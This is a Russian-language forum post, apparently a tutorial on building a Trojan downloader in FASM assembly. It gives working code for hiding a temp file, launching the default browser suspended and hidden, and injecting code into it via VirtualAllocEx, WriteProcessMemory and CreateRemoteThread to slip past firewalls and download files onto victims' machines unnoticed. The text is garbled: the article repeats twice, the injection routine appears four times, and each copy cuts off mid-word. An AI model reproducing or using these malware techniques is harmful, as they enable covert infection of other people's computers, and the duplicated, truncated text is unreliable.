Nicks
New member
Trojan (Downloader) - именно так классифицирует Лаборатория Касперского тип программ, о которых пойдет речь в этой статье.
TrojanDownloader - именно так классифицирует Лаборатория Касперского типпрограмм, о которых пойдет речь в этой статье. Итак, что такое downloader? Это программа, которая незаметно для пользователя скачивает из сети другую программу иили данные. Наибольшее распространение программы данного класса получили у троянописателей, что позволяет им загружать свое ПО на машины жертв. Сама идея загрузки троянов при помощи сторонних программ не нова, как минимум ей уже 5 лет. Но прогресс не стоит на месте, средства обеспечения безопасности активно развиваются,и,соответственно, улучшаются downloaderы. От примитивных средств закачки они проделали путь до программ с развитой структурой взаимодействия с ОС и сетью.
На данный момент функциями более-менее приличного "загрузчика" являются:
1) Обеспечение собственной безопасности в системе, обход файерволов, загрузка указанного файла, с последующим запуском его на выполнение. Некоторые из существующих "загрузчиков" содержат "расширенные" функции, например, шифрование данных, таких как адрес файла для загрузки, или, например, получение статистики по зараженным машинам - их количество,версии ОС и многое другое, т.е. по-сути являются некими "полу-троянами". Но вернемся к основной функции "загрузчиков" -незаметно загрузить файл на машину пользователя. В данной статье мы рассмотрим простой downloader, который, однако, позволяет обойти некоторые файерволы и загрузить файл из сети. Выбор языка программирования пал на ассемблер, в качестве компилятора я использовал FASM (thx Tomasz Grysztar). Предполагаю, что многие читатели не знакомы с ассемблером, но это не беда, код получился достаточно простым, единственное, что необходимо, чтобы понять его, это немного напрячь мозги. В коде отсутствуют некоторые проверки на ошибки, которые, в свою очередь, могут привести к появлению сообщения о чем-нибудь некорректном в рамках процесса, но мне было так лень их писать
2) Весь код состоит из нескольких процедур, мы начнем с процедуры поиска браузера по-умолчанию. Для нахождения пути к браузеру нам необходимо создать файл с расширением ".htm" и использовать функцию "FindExecutable". Создать файл можно функцией "CreateFile", которой мы передаем параметр будущего файла - атрибут "скрытого" файла. Делать это не обязательно, но лучше скрыть пустой файл от глаз пользователя, а еще лучше,после нахождения пути к браузеру, удалить его. В функцию "FindExecutable" мы передаем путь к файлу и переменную, куда будет занесен путь к браузеру.
Код :
;-------------------------------------------------------------------------;
; Find Executable
__findex:
push 0
push FILE_ATTRIBUTE_HIDDEN
push CREATE_NEW
push 0
push 0
push GENERIC_READ
push filz
call [CreateFile]
push cmd
push 0
push filz
call [FindExecutable]
ret
;-------------------------------------------------------------------------;
filz db 1.htm,0
cmd db crogram filesinternet exploreriexplore.exe,0
;-------------------------------------------------------------------------;
Я назвал временный файл "1.htm", а в переменную пути на всякий случай, прописал путь по-умолчанию к IExplore. Делать это не обязательно.
Теперь дальше.
Невидимость в процессах и обход файерволов достигается путем инъекции нашего кода в код браузера. Для этого нам необходимо открыть его в памяти на редактирование, сделать это можно только когда процесс запущен. Но ведь пользователь может долгое время не использовать браузер,что же нам - ждать?
Конечно нет. Мы сами запустим процесс, чем решим несколько проблем:
1. Нет необходимости ждать запуск процесса
2. Невидимость окна браузера
3. Нет необходимости получать права "SeDebug" для открытия процесса.
Последнее происходит потому, что после функции "CreateProcess" для нашего "загрузчика" будет автоматически выставлено "PROCESS_ALL_ACCESS" , что есть полный доступ к процессу.
Создание процесса будет идти , как я уже упомянул, через функцию
"CreateProcess", в которую мы передаем структуры "PROCESS_INFORMATION" и
"STARTUPINFO", командную строку для вызова браузера и пару опций:
1. SW_SHOW - отображение окна браузера, если этого не сделать,то, например,
"Outpost Firewall" выдаст предупреждение о запуске "скрытого" процесса.
"Как нам скрыть окно браузера?", - спросите вы. А вот для этого мы
указываем второй параметр.
2. CREATE_SUSPENDED - создать процесс приостановленным, эта опция позволит не показывать окно браузера
Кстати, "CREATE_SUSPENDED" часто используется в троянах для обхода файерволов,но приостановленный процесс потом зачем-то запускается. Зачем :?
Мы, естественно, не будем так поступать.
Код:
;-------------------------------------------------------------------------;
; Create Fake Process
__create:
push pinfo
push sinfo
push 0
push 0
push CREATE_SUSPENDED;
push 0
push 0
push 0
push cmd
push 0
mov [sinfo.wShowWindow],SW_SHOW
call [CreateProcess]
ret
;-------------------------------------------------------------------------;
pinfo PROCESS_INFORMATION
sinfo STARTUPINFO
;-------------------------------------------------------------------------;
После выполнения данной функции мы получим заполненную структуру "PROCESS_INFORMATION", которая будет содержать хендл и PID нашего браузера.
Итак, открываем процесс с параметром "PROCESS_ALL_ACCESS", для этого в функцию "OpenProcess" необходимо передать номер процесса из структуры "PROCESS_INFORMATION". После чего в регистр EAX будет записан хендл процесса. Затем, с помощью функции "VirtualAllocEx", мы увеличиваем память нашего процесса на необходимое нам количество,которое можно расчитать,как разность конца и начала кода процедуры. Далее мы пишем в выделенную память наш код благодаря функции
"WriteProcessMemory",после чего нам остается только создать удаленный поток в контексте браузера через функцию "CreateRemoteThread".
Код:
;-------------------------------------------------------------------------;
; Inject Code
__inject:
xor esi,esi
push [pinfo.dwProcessId]
push 0
push PROCESS_ALL_ACCESS
call [OpenProcess]
test eax,eax
jz .exit
xchg eax,edi
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE + MEM_COMMIT
push _download_end-_download
push esi
push edi
call [VirtualAllocEx]
test eax,eax
jz .close
xchg eax,ebp
push esi
push _download_end-_download
push _download
push ebp
push edi
call [WriteProcessMemory]
dec eax
test eax,eax
jnz .close
inc eax
push esi
push esi
push ebp
push ebp
push esi
push esi
push edi
call [CreateRemoteThread]
.close:
push edi
call [CloseHandle]
.exit:
ret
;-------------------------------------------------------------------------;
После выполнения данной функции мы получим заполненную структуру "PROCESS_INFORMATION", которая будет содержать хендл и PID нашего браузера. Итак, открываем процесс с параметром "PROCESS_ALL_ACCESS", для этого в функцию "OpenProcess" необходимо передать номер процесса из структуры "PROCESS_INFORMATION". После чего в регистр EAX будет записан хендл процесса. Затем, с помощью функции "VirtualAllocEx", мы увеличиваем память нашего процесса на необходимое нам количество,которое можно расчитать,как разность конца и начала кода процедуры. Далее мы пишем в выделенную память наш код благодаря функции. "WriteProcessMemory", после чего нам остается только создать удаленный поток в контексте браузера через функцию "CreateRemoteThread".
Код:
;-------------------------------------------------------------------------;
; Inject Code
__inject:
xor esi,esi
push [pinfo.dwProcessId]
push 0
push PROCESS_ALL_ACCESS
call [OpenProcess]
test eax,eax
jz .exit
xchg eax,edi
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE + MEM_COMMIT
push _download_end-_download
push esi
push edi
call [VirtualAllocEx]
test eax,eax
jz .close
xchg eax,ebp
push esi
push _download_end-_download
push _download
push ebp
push edi
call [WriteProcessMemory]
dec eax
test eax,eax
jnz .close
inc eax
push esi
push esi
push ebp
push ebp
push esi
push esi
push edi
call [CreateRemoteThread]
.close:
push edi
call [CloseHandle]
.exit:
ret
;-------------------------------------------------------------------------;
В связи с тем, что наш код получает смещение в ходе инъекции, нам необходимо, заранее сохранить адреса вызываемых функций, причем хранить мы их будем прямо в коде. Для сохранения мы используем вот такую процедуру:
;-------------------------------------------------------------------------;
; Get APIs
__apis:
mov edi,[MessageBox]
mov [_MessageBox],edi
mov edi,[LoadLibrary]
mov [_LoadLibrary],edi
ret
;-------------------------------------------------------------------------;
Т.е. адрес оригинальной функции помещаем в EDI, а оттуда в область данных. Смещение, которое получает наш код, называ
TrojanDownloader - именно так классифицирует Лаборатория Касперского типпрограмм, о которых пойдет речь в этой статье. Итак, что такое downloader? Это программа, которая незаметно для пользователя скачивает из сети другую программу иили данные. Наибольшее распространение программы данного класса получили у троянописателей, что позволяет им загружать свое ПО на машины жертв. Сама идея загрузки троянов при помощи сторонних программ не нова, как минимум ей уже 5 лет. Но прогресс не стоит на месте, средства обеспечения безопасности активно развиваются,и,соответственно, улучшаются downloaderы. От примитивных средств закачки они проделали путь до программ с развитой структурой взаимодействия с ОС и сетью.
На данный момент функциями более-менее приличного "загрузчика" являются:
1) Обеспечение собственной безопасности в системе, обход файерволов, загрузка указанного файла, с последующим запуском его на выполнение. Некоторые из существующих "загрузчиков" содержат "расширенные" функции, например, шифрование данных, таких как адрес файла для загрузки, или, например, получение статистики по зараженным машинам - их количество,версии ОС и многое другое, т.е. по-сути являются некими "полу-троянами". Но вернемся к основной функции "загрузчиков" -незаметно загрузить файл на машину пользователя. В данной статье мы рассмотрим простой downloader, который, однако, позволяет обойти некоторые файерволы и загрузить файл из сети. Выбор языка программирования пал на ассемблер, в качестве компилятора я использовал FASM (thx Tomasz Grysztar). Предполагаю, что многие читатели не знакомы с ассемблером, но это не беда, код получился достаточно простым, единственное, что необходимо, чтобы понять его, это немного напрячь мозги. В коде отсутствуют некоторые проверки на ошибки, которые, в свою очередь, могут привести к появлению сообщения о чем-нибудь некорректном в рамках процесса, но мне было так лень их писать
2) Весь код состоит из нескольких процедур, мы начнем с процедуры поиска браузера по-умолчанию. Для нахождения пути к браузеру нам необходимо создать файл с расширением ".htm" и использовать функцию "FindExecutable". Создать файл можно функцией "CreateFile", которой мы передаем параметр будущего файла - атрибут "скрытого" файла. Делать это не обязательно, но лучше скрыть пустой файл от глаз пользователя, а еще лучше,после нахождения пути к браузеру, удалить его. В функцию "FindExecutable" мы передаем путь к файлу и переменную, куда будет занесен путь к браузеру.
Код :
;-------------------------------------------------------------------------;
; Find Executable
__findex:
push 0
push FILE_ATTRIBUTE_HIDDEN
push CREATE_NEW
push 0
push 0
push GENERIC_READ
push filz
call [CreateFile]
push cmd
push 0
push filz
call [FindExecutable]
ret
;-------------------------------------------------------------------------;
filz db 1.htm,0
cmd db crogram filesinternet exploreriexplore.exe,0
;-------------------------------------------------------------------------;
Я назвал временный файл "1.htm", а в переменную пути на всякий случай, прописал путь по-умолчанию к IExplore. Делать это не обязательно.
Теперь дальше.
Невидимость в процессах и обход файерволов достигается путем инъекции нашего кода в код браузера. Для этого нам необходимо открыть его в памяти на редактирование, сделать это можно только когда процесс запущен. Но ведь пользователь может долгое время не использовать браузер,что же нам - ждать?
Конечно нет. Мы сами запустим процесс, чем решим несколько проблем:
1. Нет необходимости ждать запуск процесса
2. Невидимость окна браузера
3. Нет необходимости получать права "SeDebug" для открытия процесса.
Последнее происходит потому, что после функции "CreateProcess" для нашего "загрузчика" будет автоматически выставлено "PROCESS_ALL_ACCESS" , что есть полный доступ к процессу.
Создание процесса будет идти , как я уже упомянул, через функцию
"CreateProcess", в которую мы передаем структуры "PROCESS_INFORMATION" и
"STARTUPINFO", командную строку для вызова браузера и пару опций:
1. SW_SHOW - отображение окна браузера, если этого не сделать,то, например,
"Outpost Firewall" выдаст предупреждение о запуске "скрытого" процесса.
"Как нам скрыть окно браузера?", - спросите вы. А вот для этого мы
указываем второй параметр.
2. CREATE_SUSPENDED - создать процесс приостановленным, эта опция позволит не показывать окно браузера
Кстати, "CREATE_SUSPENDED" часто используется в троянах для обхода файерволов,но приостановленный процесс потом зачем-то запускается. Зачем :?
Мы, естественно, не будем так поступать.
Код:
;-------------------------------------------------------------------------;
; Create Fake Process
__create:
push pinfo
push sinfo
push 0
push 0
push CREATE_SUSPENDED;
push 0
push 0
push 0
push cmd
push 0
mov [sinfo.wShowWindow],SW_SHOW
call [CreateProcess]
ret
;-------------------------------------------------------------------------;
pinfo PROCESS_INFORMATION
sinfo STARTUPINFO
;-------------------------------------------------------------------------;
После выполнения данной функции мы получим заполненную структуру "PROCESS_INFORMATION", которая будет содержать хендл и PID нашего браузера.
Итак, открываем процесс с параметром "PROCESS_ALL_ACCESS", для этого в функцию "OpenProcess" необходимо передать номер процесса из структуры "PROCESS_INFORMATION". После чего в регистр EAX будет записан хендл процесса. Затем, с помощью функции "VirtualAllocEx", мы увеличиваем память нашего процесса на необходимое нам количество,которое можно расчитать,как разность конца и начала кода процедуры. Далее мы пишем в выделенную память наш код благодаря функции
"WriteProcessMemory",после чего нам остается только создать удаленный поток в контексте браузера через функцию "CreateRemoteThread".
Код:
;-------------------------------------------------------------------------;
; Inject Code
__inject:
xor esi,esi
push [pinfo.dwProcessId]
push 0
push PROCESS_ALL_ACCESS
call [OpenProcess]
test eax,eax
jz .exit
xchg eax,edi
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE + MEM_COMMIT
push _download_end-_download
push esi
push edi
call [VirtualAllocEx]
test eax,eax
jz .close
xchg eax,ebp
push esi
push _download_end-_download
push _download
push ebp
push edi
call [WriteProcessMemory]
dec eax
test eax,eax
jnz .close
inc eax
push esi
push esi
push ebp
push ebp
push esi
push esi
push edi
call [CreateRemoteThread]
.close:
push edi
call [CloseHandle]
.exit:
ret
;-------------------------------------------------------------------------;
После выполнения данной функции мы получим заполненную структуру "PROCESS_INFORMATION", которая будет содержать хендл и PID нашего браузера. Итак, открываем процесс с параметром "PROCESS_ALL_ACCESS", для этого в функцию "OpenProcess" необходимо передать номер процесса из структуры "PROCESS_INFORMATION". После чего в регистр EAX будет записан хендл процесса. Затем, с помощью функции "VirtualAllocEx", мы увеличиваем память нашего процесса на необходимое нам количество,которое можно расчитать,как разность конца и начала кода процедуры. Далее мы пишем в выделенную память наш код благодаря функции. "WriteProcessMemory", после чего нам остается только создать удаленный поток в контексте браузера через функцию "CreateRemoteThread".
Код:
;-------------------------------------------------------------------------;
; Inject Code
__inject:
xor esi,esi
push [pinfo.dwProcessId]
push 0
push PROCESS_ALL_ACCESS
call [OpenProcess]
test eax,eax
jz .exit
xchg eax,edi
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE + MEM_COMMIT
push _download_end-_download
push esi
push edi
call [VirtualAllocEx]
test eax,eax
jz .close
xchg eax,ebp
push esi
push _download_end-_download
push _download
push ebp
push edi
call [WriteProcessMemory]
dec eax
test eax,eax
jnz .close
inc eax
push esi
push esi
push ebp
push ebp
push esi
push esi
push edi
call [CreateRemoteThread]
.close:
push edi
call [CloseHandle]
.exit:
ret
;-------------------------------------------------------------------------;
В связи с тем, что наш код получает смещение в ходе инъекции, нам необходимо, заранее сохранить адреса вызываемых функций, причем хранить мы их будем прямо в коде. Для сохранения мы используем вот такую процедуру:
;-------------------------------------------------------------------------;
; Get APIs
__apis:
mov edi,[MessageBox]
mov [_MessageBox],edi
mov edi,[LoadLibrary]
mov [_LoadLibrary],edi
ret
;-------------------------------------------------------------------------;
Т.е. адрес оригинальной функции помещаем в EDI, а оттуда в область данных. Смещение, которое получает наш код, называ